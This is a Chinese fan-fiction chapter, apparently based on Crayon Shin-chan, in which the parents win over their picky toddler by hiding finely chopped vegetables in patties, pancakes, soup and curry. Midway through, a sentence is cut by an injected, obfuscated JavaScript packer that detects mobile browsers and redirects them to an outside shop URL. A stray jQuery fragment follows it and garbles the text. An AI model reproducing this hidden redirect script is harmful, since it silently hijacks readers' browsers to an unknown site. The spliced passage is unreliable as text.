秋意渐深，早晚的凉意愈发明显。


    野原家开启了取暖设备的预热模式，室内维持着舒适的温暖。


    小新的活动量有增无减，像一颗永不停歇的小陀螺，家里的每一个角落都留下了他探索的足迹。


    按理说，这样的运动量应该伴随着良好的食欲，但事实却并非总是如此。


    曾经那个给什么吃什么的“乖宝宝”似乎进入了食欲波动期。


    他对食物的喜好变得鲜明而善变，昨天还大口吞下的西兰花，今天可能看都不看一眼；上周最爱的鱼肉泥，这周再用小勺子递过去，他会紧紧闭着小嘴，把小脑袋扭到一边，用全身表达着拒绝。


    “小新，来，啊——张嘴，是美味的胡萝卜哦。”野原广志举着小勺子，耐心地哄着。


    “不要！菜菜！”小新斩钉截铁，甚至用手推开爸爸的手，勺子里的胡萝卜泥差点掉在餐桌上。


    “胡萝卜甜甜的，吃了会像动感超人一样有力量哦！”野原广志试图用偶像的力量感化。


    “……动感超人……不吃菜菜。”小家伙逻辑清晰地反驳，让野原广志一时语塞。


    午餐桌上，气氛有时会变得有些僵持。


    小新会准确地把肉类和米饭挑着吃完，留下碗里孤零零的绿色蔬菜，或者用小手把不喜欢的食物从碗里一颗颗拣出来，丢在餐盘上，态度坚决。


    野原广志看着儿子碗里剩下的青菜，又看看儿子那副“宁死不屈”的小模样，感到既头疼又无奈。


    “光吃肉和米饭怎么行呢？营养会不均衡的。”他忧心忡忡地对上见加莉说。


    上见加莉对此的反应比较理性。


    她没有强迫儿子必须吃掉不喜欢的食物，也没有因为他的挑食而表现出焦虑。


    这个阶段的孩子对味道、质地甚至颜色的敏感度提高，出现饮食偏好是正常现象，强行喂食只会加剧他的逆反心理。


    “强迫是没用的。”


    她嘴上这么说着，然后开始了她的“隐藏蔬菜”大作战。


    她的方法是巧妙的融合与改造。


    她不再简单地将蔬菜水煮或清蒸后碾成泥。


    而是将西兰花、菠菜、胡萝卜等小家伙目前比较抗拒的蔬菜，焯水后仔细剁成几乎看不见的细小碎末。


    然后，这些蔬菜碎末被她巧妙地融入各种食物中。


    她将蔬菜碎混入搅打好的肉糜里，加入少量蛋清和面包糠，煎成小巧可爱的蔬菜肉饼。


    金黄色的外皮下，隐藏着绿色的营养。


    小新会被肉饼的香气吸引，拿在手里啃得津津有味，完全没有察觉里面“暗藏玄机”。


    她将胡萝卜和南瓜蒸熟碾成泥，混入面粉和牛奶，做成橙黄色的小松饼，作为早餐或点心。小新之助很喜欢这种甜甜软软的点心，一口气能吃下一两个。


    她甚至尝试将少量菠菜碎混入他喜欢的玉米浓汤里，利用玉米的甜味和汤的浓稠度，掩盖菠菜本身的味道。


    虽然汤的颜色会微微变深，但好在玉米浓汤本身也不是纯白色，小新之助并未起疑，捧着碗喝得咕咚咕咚。


    除了“隐藏”，上见加莉也在“造型”上花了心思。


    她会用模具把米饭和海苔压成动感超人的脸谱，用芝士片和火腿剪出简单的形状做装饰，旁边配上他喜欢的食物和“隐藏”了蔬菜的主菜。漂亮的摆盘常常能引起小新之助的兴趣，让他更愿意尝试。


    野原广志看着妻子像变魔术一样，将儿子抗拒的蔬菜“变”进他愿意接受的食物里，佩服得五体投地。


    “加莉，你简直是厨房里的魔法师！”他由衷地赞叹。


    当然，并非每次“作战”都能成功。


    有时小新味觉异常灵敏，还是会尝出一点点他不喜欢的味道，然后吐出来，或


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16876047|191914||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    者拒绝再吃。


    上见加莉也不会气馁，只是记下这次不成功的组合，下次尝试其他方法。


    她始终坚持一个原则：不把吃饭变成一场战争。


    如果小新实在不愿意吃某种食物，她不会强迫，但会确保在同一餐中，有其他营养均衡的食物可供选择。


    她也会在加餐时，提供水果、酸奶等健康的零食，保证他整体的营养摄入。


    慢慢地，野原广志也学到了精髓。


    他不再执着于每一餐都必须吃掉所有种类的蔬菜，而是学着像妻子一样，更关注儿子整体的饮食结构和进食心情。


    一次周末晚餐，上见加莉做了咖喱饭。


    她在咖喱里切入了大量的、炖得软烂的胡萝卜、土豆和洋葱，还悄悄加入了一些剁得极碎的西兰花茎。


    浓郁的咖喱香味弥漫在整个家里。小新之助坐在餐椅上，兴奋地挥舞着小勺子。


    野原广志有些紧张地看着儿子，生怕他从中挑出胡萝卜或者发现隐藏的西兰花。


    只见小新舀起一勺裹着浓郁咖喱汁的米饭和蔬菜，啊呜一口塞进嘴里，鼓着腮帮子努力咀嚼，小脸上洋溢着满足的笑容，完全没有挑剔的意思，甚至主动指着咖喱里的胡萝卜块，模糊地说：“红红的……好吃！”


    野原广志长长地松了一口气，和上见加莉交换了一个欣慰的眼神。


    这场“隐藏蔬菜”大作战，暂时取得了阶段性的胜利。


    晚餐后，看着儿子心满意足地跑去玩他的动感超人，野原广志一边帮忙收拾碗筷，一边对妻子说：“看来，对付这个小家伙，光有耐心还不够，还得有像你这样的智慧才行。”


    上见加莉将剩下的咖喱仔细封好放入冰箱：“这只是策略。等他再大一些，味觉和认知更成熟，需要引导他理解均衡饮食的重要性，不能总是依靠‘隐藏’。”